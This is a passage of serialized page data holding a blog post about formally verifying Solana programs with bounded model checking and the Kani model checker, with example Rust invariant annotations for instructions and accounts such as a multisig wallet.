",{"type":25,"tag":10281,"props":33017,"children":33018},{},[33019],{"type":30,"value":33020},"correct",{"type":30,"value":33022}," according to this property.",{"type":25,"tag":247,"props":33024,"children":33026},{"id":33025},"loop-bounds-path-explosion",[33027],{"type":30,"value":33028},"Loop bounds & path explosion",{"type":25,"tag":26,"props":33030,"children":33031},{},[33032,33034,33039,33041,33046],{"type":30,"value":33033},"As you may have noticed, BMC requires us to take ",{"type":25,"tag":10281,"props":33035,"children":33036},{},[33037],{"type":30,"value":33038},"every",{"type":30,"value":33040}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":25,"tag":10281,"props":33042,"children":33043},{},[33044],{"type":30,"value":33045},"infinite",{"type":30,"value":33047}," number of paths because the loop branches backward. This might take a while...",{"type":25,"tag":26,"props":33049,"children":33050},{},[33051],{"type":30,"value":33052},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":25,"tag":26,"props":33054,"children":33055},{},[33056],{"type":30,"value":33057},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":25,"tag":26,"props":33059,"children":33060},{},[33061],{"type":30,"value":33062},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":25,"tag":247,"props":33064,"children":33066},{"id":33065},"kani-model-checker",[33067],{"type":30,"value":33068},"Kani Model Checker",{"type":25,"tag":26,"props":33070,"children":33071},{},[33072,33074,33079],{"type":30,"value":33073},"For our research with formally verifying Solana programs, we are using the ",{"type":25,"tag":83,"props":33075,"children":33077},{"href":31968,"rel":33076},[9066],[33078],{"type":30,"value":31972},{"type":30,"value":33080},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":25,"tag":26,"props":33082,"children":33083},{},[33084,33086,33091,33093,33099,33100,33106,33108,33114],{"type":30,"value":33085},"Kani allows you to write ",{"type":25,"tag":10281,"props":33087,"children":33088},{},[33089],{"type":30,"value":33090},"proof harnesses",{"type":30,"value":33092}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":25,"tag":264,"props":33094,"children":33096},{"className":33095},[],[33097],{"type":30,"value":33098},"assume",{"type":30,"value":12218},{"type":25,"tag":264,"props":33101,"children":33103},{"className":33102},[],[33104],{"type":30,"value":33105},"assert",{"type":30,"value":33107}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":25,"tag":264,"props":33109,"children":33111},{"className":33110},[],[33112],{"type":30,"value":33113},"cargo kani",{"type":30,"value":33115}," tool (which compiles your proof harness and runs BMC).",{"type":25,"tag":96,"props":33117,"children":33119},{"id":33118},"specification-how-can-we-describe-what-we-want-our-program-to-do",[33120,33122,33126],{"type":30,"value":33121},"Specification: How can we describe what we ",{"type":25,"tag":10281,"props":33123,"children":33124},{},[33125],{"type":30,"value":32041},{"type":30,"value":32043},{"type":25,"tag":26,"props":33128,"children":33129},{},[33130],{"type":25,"tag":10281,"props":33131,"children":33132},{},[33133],{"type":25,"tag":38,"props":33134,"children":33135},{},[33136],{"type":30,"value":33137},"And what even do we want it to do?",{"type":25,"tag":26,"props":33139,"children":33140},{},[33141,33143,33148],{"type":30,"value":33142},"A fundamental challenge with any formal verification framework is ",{"type":25,"tag":10281,"props":33144,"children":33145},{},[33146],{"type":30,"value":33147},"specifying",{"type":30,"value":33149}," what the \"correct\" behavior should be.",{"type":25,"tag":26,"props":33151,"children":33152},{},[33153],{"type":30,"value":33154},"In natural language, we can describe a few good properties for example Solana programs:",{"type":25,"tag":108,"props":33156,"children":33157},{},[33158,33170,33181],{"type":25,"tag":112,"props":33159,"children":33160},{},[33161,33163,33168],{"type":30,"value":33162},"\"It should not be possible to ",{"type":25,"tag":38,"props":33164,"children":33165},{},[33166],{"type":30,"value":33167},"steal money",{"type":30,"value":33169}," via a swap program\"",{"type":25,"tag":112,"props":33171,"children":33172},{},[33173,33175,33180],{"type":30,"value":33174},"\"A multisig should never get into a state where you ",{"type":25,"tag":38,"props":33176,"children":33177},{},[33178],{"type":30,"value":33179},"can't sign anything",{"type":30,"value":6294},{"type":25,"tag":112,"props":33182,"children":33183},{},[33184],{"type":30,"value":33185},"\"User funds in a staking protocol \"",{"type":25,"tag":26,"props":33187,"children":33188},{},[33189,33191,33201,33203,33208],{"type":30,"value":33190},"These are types of properties you can tell your ",{"type":25,"tag":83,"props":33192,"children":33195},{"href":33193,"rel":33194},"https://osec.io/",[9066],[33196],{"type":25,"tag":10281,"props":33197,"children":33198},{},[33199],{"type":30,"value":33200},"human auditors",{"type":30,"value":33202}," but these English phrases are not particularly useful for ",{"type":25,"tag":10281,"props":33204,"children":33205},{},[33206],{"type":30,"value":33207},"automated verification techniques",{"type":30,"value":33209}," (at least until our AI overlords surpass human intelligence).",{"type":25,"tag":26,"props":33211,"children":33212},{},[33213,33215,33220,33222,33227],{"type":30,"value":33214},"Instead, we need to be able to specify ",{"type":25,"tag":10281,"props":33216,"children":33217},{},[33218],{"type":30,"value":33219},"in code",{"type":30,"value":33221}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":25,"tag":264,"props":33223,"children":33225},{"className":33224},[],[33226],{"type":30,"value":33105},{"type":30,"value":33228}," statement.",{"type":25,"tag":247,"props":33230,"children":33232},{"id":33231},"solana-invariants",[33233],{"type":30,"value":33234},"Solana Invariants",{"type":25,"tag":26,"props":33236,"children":33237},{},[33238,33240,33245,33246,33251],{"type":30,"value":33239},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":25,"tag":38,"props":33241,"children":33242},{},[33243],{"type":30,"value":33244},"instruction invariants",{"type":30,"value":12218},{"type":25,"tag":38,"props":33247,"children":33248},{},[33249],{"type":30,"value":33250},"account invariants",{"type":30,"value":1860},{"type":25,"tag":2352,"props":33253,"children":33255},{"id":33254},"instruction-invariant",[33256],{"type":30,"value":33257},"Instruction Invariant",{"type":25,"tag":26,"props":33259,"children":33260},{},[33261,33263,33268,33270,33276,33277,33283],{"type":30,"value":33262},"An ",{"type":25,"tag":38,"props":33264,"children":33265},{},[33266],{"type":30,"value":33267},"instruction invariant",{"type":30,"value":33269}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":25,"tag":264,"props":33271,"children":33273},{"className":33272},[],[33274],{"type":30,"value":33275},"succeeds_if",{"type":30,"value":26259},{"type":25,"tag":264,"props":33278,"children":33280},{"className":33279},[],[33281],{"type":30,"value":33282},"errors_if",{"type":30,"value":33284}," macro annotations on the instruction handler.",{"type":25,"tag":26,"props":33286,"children":33287},{},[33288],{"type":30,"value":33289},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":25,"tag":26,"props":33291,"children":33292},{},[33293,33295,33301,33303,33308],{"type":30,"value":33294},"For example, say we have a ",{"type":25,"tag":264,"props":33296,"children":33298},{"className":33297},[],[33299],{"type":30,"value":33300},"Withdraw",{"type":30,"value":33302}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":25,"tag":10281,"props":33304,"children":33305},{},[33306],{"type":30,"value":33307},"more",{"type":30,"value":33309}," tokens than their current balance.",{"type":25,"tag":26,"props":33311,"children":33312},{},[33313,33315,33320],{"type":30,"value":33314},"Using our tool, you could specify the following ",{"type":25,"tag":264,"props":33316,"children":33318},{"className":33317},[],[33319],{"type":30,"value":33282},{"type":30,"value":33321}," property on your instruction handler:",{"type":25,"tag":7764,"props":33323,"children":33325},{"code":33324,"language":13585,"meta":7,"className":13586,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[33326],{"type":25,"tag":264,"props":33327,"children":33328},{"__ignoreMap":7},[33329,33337,33372,33380,33453,33461],{"type":25,"tag":271,"props":33330,"children":33331},{"class":13593,"line":13594},[33332],{"type":25,"tag":271,"props":33333,"children":33334},{"style":13625},[33335],{"type":30,"value":33336},"#[errors_if(\n",{"type":25,"tag":271,"props":33338,"children":33339},{"class":13593,"line":11641},[33340,33345,33349,33354,33358,33363,33367],{"type":25,"tag":271,"props":33341,"children":33342},{"style":13625},[33343],{"type":30,"value":33344},"    ctx",{"type":25,"tag":271,"props":33346,"children":33347},{"style":13603},[33348],{"type":30,"value":1860},{"type":25,"tag":271,"props":33350,"children":33351},{"style":13625},[33352],{"type":30,"value":33353},"user",{"type":25,"tag":271,"props":33355,"children":33356},{"style":13603},[33357],{"type":30,"value":1860},{"type":25,"tag":271,"props":33359,"children":33360},{"style":13625},[33361],{"type":30,"value":33362},"balance ",{"type":25,"tag":271,"props":33364,"children":33365},{"style":13603},[33366],{"type":30,"value":14307},{"type":25,"tag":271,"props":33368,"children":33369},{"style":13625},[33370],{"type":30,"value":33371}," amount\n",{"type":25,"tag":271,"props":33373,"children":33374},{"class":13593,"line":14354},[33375],{"type":25,"tag":271,"props":33376,"children":33377},{"style":13625},[33378],{"type":30,"value":33379},")]\n",{"type":25,"tag":271,"props":33381,"children":33382},{"class":13593,"line":14391},[33383,33388,33393,33397,33402,33406,33411,33415,33419,33423,33428,33432,33436,33440,33444,33448],{"type":25,"tag":271,"props":33384,"children":33385},{"style":14289},[33386],{"type":30,"value":33387},"fn",{"type":25,"tag":271,"props":33389,"children":33390},{"style":13620},[33391],{"type":30,"value":33392}," withdraw",{"type":25,"tag":271,"props":33394,"children":33395},{"style":13625},[33396],{"type":30,"value":394},{"type":25,"tag":271,"props":33398,"children":33399},{"style":13598},[33400],{"type":30,"value":33401},"ctx",{"type":25,"tag":271,"props":33403,"children":33404},{"style":13603},[33405],{"type":30,"value":359},{"type":25,"tag":271,"props":33407,"children":33408},{"style":13609},[33409],{"type":30,"value":33410}," Context",{"type":25,"tag":271,"props":33412,"children":33413},{"style":13625},[33414],{"type":30,"value":14307},{"type":25,"tag":271,"props":33416,"children":33417},{"style":13609},[33418],{"type":30,"value":33300},{"type":25,"tag":271,"props":33420,"children":33421},{"style":13625},[33422],{"type":30,"value":14438},{"type":25,"tag":271,"props":33424,"children":33425},{"style":13598},[33426],{"type":30,"value":33427},"amount",{"type":25,"tag":271,"props":33429,"children":33430},{"style":13603},[33431],{"type":30,"value":359},{"type":25,"tag":271,"props":33433,"children":33434},{"style":13609},[33435],{"type":30,"value":18991},{"type":25,"tag":271,"props":33437,"children":33438},{"style":13625},[33439],{"type":30,"value":14406},{"type":25,"tag":271,"props":33441,"children":33442},{"style":13603},[33443],{"type":30,"value":14411},{"type":25,"tag":271,"props":33445,"children":33446},{"style":13609},[33447],{"type":30,"value":14416},{"type":25,"tag":271,"props":33449,"children":33450},{"style":13625},[33451],{"type":30,"value":33452},"\u003C()> {\n",{"type":25,"tag":271,"props":33454,"children":33455},{"class":13593,"line":14400},[33456],{"type":25,"tag":271,"props":33457,"children":33458},{"style":13603},[33459],{"type":30,"value":33460},"    ...\n",{"type":25,"tag":271,"props":33462,"children":33463},{"class":13593,"line":16406},[33464],{"type":25,"tag":271,"props":33465,"children":33466},{"style":13625},[33467],{"type":30,"value":17058},{"type":25,"tag":16074,"props":33469,"children":33470},{},[33471],{"type":25,"tag":26,"props":33472,"children":33473},{},[33474,33475,33480,33482,33487,33489,33494],{"type":30,"value":10272},{"type":25,"tag":264,"props":33476,"children":33478},{"className":33477},[],[33479],{"type":30,"value":33282},{"type":30,"value":33481}," expression specifies ",{"type":25,"tag":10281,"props":33483,"children":33484},{},[33485],{"type":30,"value":33486},"succifient",{"type":30,"value":33488}," but not ",{"type":25,"tag":10281,"props":33490,"children":33491},{},[33492],{"type":30,"value":33493},"necessary",{"type":30,"value":33495}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":25,"tag":92,"props":33497,"children":33498},{},[],{"type":25,"tag":26,"props":33500,"children":33501},{},[33502,33504,33509],{"type":30,"value":33503},"Another example is that for ",{"type":25,"tag":10281,"props":33505,"children":33506},{},[33507],{"type":30,"value":33508},"crank",{"type":30,"value":33510}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":25,"tag":7764,"props":33512,"children":33514},{"code":33513,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[33515],{"type":25,"tag":264,"props":33516,"children":33517},{"__ignoreMap":7},[33518,33526,33580,33587],{"type":25,"tag":271,"props":33519,"children":33520},{"class":13593,"line":13594},[33521],{"type":25,"tag":271,"props":33522,"children":33523},{"style":13625},[33524],{"type":30,"value":33525},"#[succeeds_if(true)]\n",{"type":25,"tag":271,"props":33527,"children":33528},{"class":13593,"line":11641},[33529,33533,33538,33542,33546,33550,33554,33558,33563,33568,33572,33576],{"type":25,"tag":271,"props":33530,"children":33531},{"style":14289},[33532],{"type":30,"value":33387},{"type":25,"tag":271,"props":33534,"children":33535},{"style":13620},[33536],{"type":30,"value":33537}," my_crank",{"type":25,"tag":271,"props":33539,"children":33540},{"style":13625},[33541],{"type":30,"value":394},{"type":25,"tag":271,"props":33543,"children":33544},{"style":13598},[33545],{"type":30,"value":33401},{"type":25,"tag":271,"props":33547,"children":33548},{"style":13603},[33549],{"type":30,"value":359},{"type":25,"tag":271,"props":33551,"children":33552},{"style":13609},[33553],{"type":30,"value":33410},{"type":25,"tag":271,"props":33555,"children":33556},{"style":13625},[33557],{"type":30,"value":14307},{"type":25,"tag":271,"props":33559,"children":33560},{"style":13609},[33561],{"type":30,"value":33562},"Crank",{"type":25,"tag":271,"props":33564,"children":33565},{"style":13625},[33566],{"type":30,"value":33567},">) ",{"type":25,"tag":271,"props":33569,"children":33570},{"style":13603},[33571],{"type":30,"value":14411},{"type":25,"tag":271,"props":33573,"children":33574},{"style":13609},[33575],{"type":30,"value":14416},{"type":25,"tag":271,"props":33577,"children":33578},{"style":13625},[33579],{"type":30,"value":33452},{"type":25,"tag":271,"props":33581,"children":33582},{"class":13593,"line":14354},[33583],{"type":25,"tag":271,"props":33584,"children":33585},{"style":13603},[33586],{"type":30,"value":33460},{"type":25,"tag":271,"props":33588,"children":33589},{"class":13593,"line":14391},[33590],{"type":25,"tag":271,"props":33591,"children":33592},{"style":13625},[33593],{"type":30,"value":17058},{"type":25,"tag":26,"props":33595,"children":33596},{},[33597,33599,33603,33605,33611],{"type":30,"value":33598},"With this invariant, you could prove that the function ",{"type":25,"tag":10281,"props":33600,"children":33601},{},[33602],{"type":30,"value":26219},{"type":30,"value":33604}," returns ",{"type":25,"tag":264,"props":33606,"children":33608},{"className":33607},[],[33609],{"type":30,"value":33610},"Ok",{"type":30,"value":33612},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":25,"tag":92,"props":33614,"children":33615},{},[],{"type":25,"tag":26,"props":33617,"children":33618},{},[33619,33621,33626,33627,33632,33634,33639,33641,33646,33648,33653],{"type":30,"value":33620},"Note that ",{"type":25,"tag":264,"props":33622,"children":33624},{"className":33623},[],[33625],{"type":30,"value":33275},{"type":30,"value":12218},{"type":25,"tag":264,"props":33628,"children":33630},{"className":33629},[],[33631],{"type":30,"value":33282},{"type":30,"value":33633}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":25,"tag":264,"props":33635,"children":33637},{"className":33636},[],[33638],{"type":30,"value":33275},{"type":30,"value":33640}," is not satisfied and a function may fail even if ",{"type":25,"tag":264,"props":33642,"children":33644},{"className":33643},[],[33645],{"type":30,"value":33282},{"type":30,"value":33647}," is not satisfied. If you want to prove the ",{"type":25,"tag":10281,"props":33649,"children":33650},{},[33651],{"type":30,"value":33652},"exact condition",{"type":30,"value":33654}," required for an instruction to succeed, you could use a form like the following:",{"type":25,"tag":7764,"props":33656,"children":33658},{"code":33657,"language":13585,"meta":7,"className":13586,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[33659],{"type":25,"tag":264,"props":33660,"children":33661},{"__ignoreMap":7},[33662,33706,33713,33730,33756,33808,33815],{"type":25,"tag":271,"props":33663,"children":33664},{"class":13593,"line":13594},[33665,33669,33674,33678,33682,33686,33690,33694,33698,33702],{"type":25,"tag":271,"props":33666,"children":33667},{"style":14289},[33668],{"type":30,"value":33387},{"type":25,"tag":271,"props":33670,"children":33671},{"style":13620},[33672],{"type":30,"value":33673}," my_invariant",{"type":25,"tag":271,"props":33675,"children":33676},{"style":13625},[33677],{"type":30,"value":394},{"type":25,"tag":271,"props":33679,"children":33680},{"style":13603},[33681],{"type":30,"value":22714},{"type":25,"tag":271,"props":33683,"children":33684},{"style":13625},[33685],{"type":30,"value":14406},{"type":25,"tag":271,"props":33687,"children":33688},{"style":13603},[33689],{"type":30,"value":14411},{"type":25,"tag":271,"props":33691,"children":33692},{"style":13609},[33693],{"type":30,"value":25175},{"type":25,"tag":271,"props":33695,"children":33696},{"style":13625},[33697],{"type":30,"value":22709},{"type":25,"tag":271,"props":33699,"children":33700},{"style":13603},[33701],{"type":30,"value":22714},{"type":25,"tag":271,"props":33703,"children":33704},{"style":13625},[33705],{"type":30,"value":22719},{"type":25,"tag":271,"props":33707,"children":33708},{"class":13593,"line":11641},[33709],{"type":25,"tag":271,"props":33710,"children":33711},{"emptyLinePlaceholder":18},[33712],{"type":30,"value":16829},{"type":25,"tag":271,"props":33714,"children":33715},{"class":13593,"line":14354},[33716,33721,33725],{"type":25,"tag":271,"props":33717,"children":33718},{"style":13625},[33719],{"type":30,"value":33720},"#[succeeds_if(my_invariant(",{"type":25,"tag":271,"props":33722,"children":33723},{"style":13603},[33724],{"type":30,"value":22714},{"type":25,"tag":271,"props":33726,"children":33727},{"style":13625},[33728],{"type":30,"value":33729},"))]\n",{"type":25,"tag":271,"props":33731,"children":33732},{"class":13593,"line":14391},[33733,33738,33743,33748,33752],{"type":25,"tag":271,"props":33734,"children":33735},{"style":13625},[33736],{"type":30,"value":33737},"#[errors_if(",{"type":25,"tag":271,"props":33739,"children":33740},{"style":13603},[33741],{"type":30,"value":33742},"!",{"type":25,"tag":271,"props":33744,"children":33745},{"style":13625},[33746],{"type":30,"value":33747},"my_invariant(",{"type":25,"tag":271,"props":33749,"children":33750},{"style":13603},[33751],{"type":30,"value":22714},{"type":25,"tag":271,"props":33753,"children":33754},{"style":13625},[33755],{"type":30,"value":33729},{"type":25,"tag":271,"props":33757,"children":33758},{"class":13593,"line":14400},[33759,33763,33768,33772,33776,33780,33784,33788,33792,33796,33800,33804],{"type":25,"tag":271,"props":33760,"children":33761},{"style":14289},[33762],{"type":30,"value":33387},{"type":25,"tag":271,"props":33764,"children":33765},{"style":13620},[33766],{"type":30,"value":33767}," my_instruction",{"type":25,"tag":271,"props":33769,"children":33770},{"style":13625},[33771],{"type":30,"value":394},{"type":25,"tag":271,"props":33773,"children":33774},{"style":13598},[33775],{"type":30,"value":33401},{"type":25,"tag":271,"props":33777,"children":33778},{"style":13603},[33779],{"type":30,"value":359},{"type":25,"tag":271,"props":33781,"children":33782},{"style":13609},[33783],{"type":30,"value":33410},{"type":25,"tag":271,"props":33785,"children":33786},{"style":13625},[33787],{"type":30,"value":14307},{"type":25,"tag":271,"props":33789,"children":33790},{"style":13603},[33791],{"type":30,"value":22714},{"type":25,"tag":271,"props":33793,"children":33794},{"style":13625},[33795],{"type":30,"value":33567},{"type":25,"tag":271,"props":33797,"children":33798},{"style":13603},[33799],{"type":30,"value":14411},{"type":25,"tag":271,"props":33801,"children":33802},{"style":13609},[33803],{"type":30,"value":14416},{"type":25,"tag":271,"props":33805,"children":33806},{"style":13625},[33807],{"type":30,"value":33452},{"type":25,"tag":271,"props":33809,"children":33810},{"class":13593,"line":16406},[33811],{"type":25,"tag":271,"props":33812,"children":33813},{"style":13603},[33814],{"type":30,"value":33460},{"type":25,"tag":271,"props":33816,"children":33817},{"class":13593,"line":16434},[33818],{"type":25,"tag":271,"props":33819,"children":33820},{"style":13625},[33821],{"type":30,"value":17058},{"type":25,"tag":26,"props":33823,"children":33824},{},[33825],{"type":30,"value":33826},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":25,"tag":2352,"props":33828,"children":33830},{"id":33829},"account-invariants",[33831],{"type":30,"value":33832},"Account Invariants",{"type":25,"tag":26,"props":33834,"children":33835},{},[33836,33838,33843],{"type":30,"value":33837},"The other type of invariant is an ",{"type":25,"tag":38,"props":33839,"children":33840},{},[33841],{"type":30,"value":33842},"Account Invariant",{"type":30,"value":33844},". This invariant describes some property of an account that should always hold.",{"type":25,"tag":26,"props":33846,"children":33847},{},[33848,33850,33855,33856,33862],{"type":30,"value":33849},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":25,"tag":264,"props":33851,"children":33853},{"className":33852},[],[33854],{"type":30,"value":16877},{"type":30,"value":26259},{"type":25,"tag":264,"props":33857,"children":33859},{"className":33858},[],[33860],{"type":30,"value":33861},"init",{"type":30,"value":13677},{"type":25,"tag":26,"props":33864,"children":33865},{},[33866,33868,33874],{"type":30,"value":33867},"For example, given a mock ",{"type":25,"tag":264,"props":33869,"children":33871},{"className":33870},[],[33872],{"type":30,"value":33873},"UserStatement",{"type":30,"value":33875}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":25,"tag":7764,"props":33877,"children":33879},{"code":33878,"language":13585,"meta":7,"className":13586,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[33880],{"type":25,"tag":264,"props":33881,"children":33882},{"__ignoreMap":7},[33883,33891,33899,33933,33940,33956,33982,34006,34030],{"type":25,"tag":271,"props":33884,"children":33885},{"class":13593,"line":13594},[33886],{"type":25,"tag":271,"props":33887,"children":33888},{"style":13625},[33889],{"type":30,"value":33890},"#[account]\n",{"type":25,"tag":271,"props":33892,"children":33893},{"class":13593,"line":11641},[33894],{"type":25,"tag":271,"props":33895,"children":33896},{"style":13625},[33897],{"type":30,"value":33898},"#[invariant(\n",{"type":25,"tag":271,"props":33900,"children":33901},{"class":13593,"line":14354},[33902,33907,33911,33916,33920,33924,33928],{"type":25,"tag":271,"props":33903,"children":33904},{"style":13625},[33905],{"type":30,"value":33906},"    self",{"type":25,"tag":271,"props":33908,"children":33909},{"style":13603},[33910],{"type":30,"value":1860},{"type":25,"tag":271,"props":33912,"children":33913},{"style":13625},[33914],{"type":30,"value":33915},"assets ",{"type":25,"tag":271,"props":33917,"children":33918},{"style":13603},[33919],{"type":30,"value":23067},{"type":25,"tag":271,"props":33921,"children":33922},{"style":13625},[33923],{"type":30,"value":26918},{"type":25,"tag":271,"props":33925,"children":33926},{"style":13603},[33927],{"type":30,"value":1860},{"type":25,"tag":271,"props":33929,"children":33930},{"style":13625},[33931],{"type":30,"value":33932},"liabilities\n",{"type":25,"tag":271,"props":33934,"children":33935},{"class":13593,"line":14391},[33936],{"type":25,"tag":271,"props":33937,"children":33938},{"style":13625},[33939],{"type":30,"value":33379},{"type":25,"tag":271,"props":33941,"children":33942},{"class":13593,"line":14400},[33943,33947,33952],{"type":25,"tag":271,"props":33944,"children":33945},{"style":14289},[33946],{"type":30,"value":22524},{"type":25,"tag":271,"props":33948,"children":33949},{"style":13609},[33950],{"type":30,"value":33951}," UserStatement",{"type":25,"tag":271,"props":33953,"children":33954},{"style":13625},[33955],{"type":30,"value":16431},{"type":25,"tag":271,"props":33957,"children":33958},{"class":13593,"line":16406},[33959,33964,33969,33973,33978],{"type":25,"tag":271,"props":33960,"children":33961},{"style":14289},[33962],{"type":30,"value":33963},"    pub",{"type":25,"tag":271,"props":33965,"children":33966},{"style":13598},[33967],{"type":30,"value":33968}," owner",{"type":25,"tag":271,"props":33970,"children":33971},{"style":13603},[33972],{"type":30,"value":359},{"type":25,"tag":271,"props":33974,"children":33975},{"style":13609},[33976],{"type":30,"value":33977}," Pubkey",{"type":25,"tag":271,"props":33979,"children":33980},{"style":13625},[33981],{"type":30,"value":14351},{"type":25,"tag":271,"props":33983,"children":33984},{"class":13593,"line":16434},[33985,33989,33994,33998,34002],{"type":25,"tag":271,"props":33986,"children":33987},{"style":14289},[33988],{"type":30,"value":33963},{"type":25,"tag":271,"props":33990,"children":33991},{"style":13598},[33992],{"type":30,"value":33993}," assets",{"type":25,"tag":271,"props":33995,"children":33996},{"style":13603},[33997],{"type":30,"value":359},{"type":25,"tag":271,"props":33999,"children":34000},{"style":13609},[34001],{"type":30,"value":18991},{"type":25,"tag":271,"props":34003,"children":34004},{"style":13625},[34005],{"type":30,"value":14351},{"type":25,"tag":271,"props":34007,"children":34008},{"class":13593,"line":16447},[34009,34013,34018,34022,34026],{"type":25,"tag":271,"props":34010,"children":34011},{"style":14289},[34012],{"type":30,"value":33963},{"type":25,"tag":271,"props":34014,"children":34015},{"style":13598},[34016],{"type":30,"value":34017}," liabilities",{"type":25,"tag":271,"props":34019,"children":34020},{"style":13603},[34021],{"type":30,"value":359},{"type":25,"tag":271,"props":34023,"children":34024},{"style":13609},[34025],{"type":30,"value":18991},{"type":25,"tag":271,"props":34027,"children":34028},{"style":13625},[34029],{"type":30,"value":14351},{"type":25,"tag":271,"props":34031,"children":34032},{"class":13593,"line":16465},[34033],{"type":25,"tag":271,"props":34034,"children":34035},{"style":13625},[34036],{"type":30,"value":17058},{"type":25,"tag":26,"props":34038,"children":34039},{},[34040,34042,34047],{"type":30,"value":34041},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":25,"tag":264,"props":34043,"children":34045},{"className":34044},[],[34046],{"type":30,"value":33873},{"type":30,"value":34048}," is created or modified.",{"type":25,"tag":26,"props":34050,"children":34051},{},[34052,34054,34060],{"type":30,"value":34053},"In another example, we developed the following invariant for the ",{"type":25,"tag":83,"props":34055,"children":34057},{"href":31945,"rel":34056},[9066],[34058],{"type":30,"value":34059},"Squads Multisig",{"type":30,"value":34061}," wallet account:",{"type":25,"tag":7764,"props":34063,"children":34065},{"code":34064,"language":13585,"meta":7,"className":13586,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[34066],{"type":25,"tag":264,"props":34067,"children":34068},{"__ignoreMap":7},[34069,34076,34083,34113,34172,34201,34253,34260,34281,34311,34341,34371,34400,34430,34460,34489,34529],{"type":25,"tag":271,"props":34070,"children":34071},{"class":13593,"line":13594},[34072],{"type":25,"tag":271,"props":34073,"children":34074},{"style":13625},[34075],{"type":30,"value":33890},{"type":25,"tag":271,"props":34077,"children":34078},{"class":13593,"line":11641},[34079],{"type":25,"tag":271,"props":34080,"children":34081},{"style":13625},[34082],{"type":30,"value":33898},{"type":25,"tag":271,"props":34084,"children":34085},{"class":13593,"line":14354},[34086,34091,34095,34099,34104,34108],{"type":25,"tag":271,"props":34087,"children":34088},{"style":13603},[34089],{"type":30,"value":34090},"    !",{"type":25,"tag":271,"props":34092,"children":34093},{"style":13625},[34094],{"type":30,"value":26836},{"type":25,"tag":271,"props":34096,"children":34097},{"style":13603},[34098],{"type":30,"value":1860},{"type":25,"tag":271,"props":34100,"children":34101},{"style":13625},[34102],{"type":30,"value":34103},"keys",{"type":25,"tag":271,"props":34105,"children":34106},{"style":13603},[34107],{"type":30,"value":1860},{"type":25,"tag":271,"props":34109,"children":34110},{"style":13625},[34111],{"type":30,"value":34112},"is_empty()\n",{"type":25,"tag":271,"props":34114,"children":34115},{"class":13593,"line":14391},[34116,34120,34125,34129,34133,34137,34142,34146,34151,34155,34160,34164,34168],{"type":25,"tag":271,"props":34117,"children":34118},{"style":13603},[34119],{"type":30,"value":28743},{"type":25,"tag":271,"props":34121,"children":34122},{"style":13625},[34123],{"type":30,"value":34124}," (self",{"type":25,"tag":271,"props":34126,"children":34127},{"style":13603},[34128],{"type":30,"value":1860},{"type":25,"tag":271,"props":34130,"children":34131},{"style":13625},[34132],{"type":30,"value":34103},{"type":25,"tag":271,"props":34134,"children":34135},{"style":13603},[34136],{"type":30,"value":1860},{"type":25,"tag":271,"props":34138,"children":34139},{"style":13625},[34140],{"type":30,"value":34141},"len() ",{"type":25,"tag":271,"props":34143,"children":34144},{"style":13603},[34145],{"type":30,"value":32535},{"type":25,"tag":271,"props":34147,"children":34148},{"style":13609},[34149],{"type":30,"value":34150}," 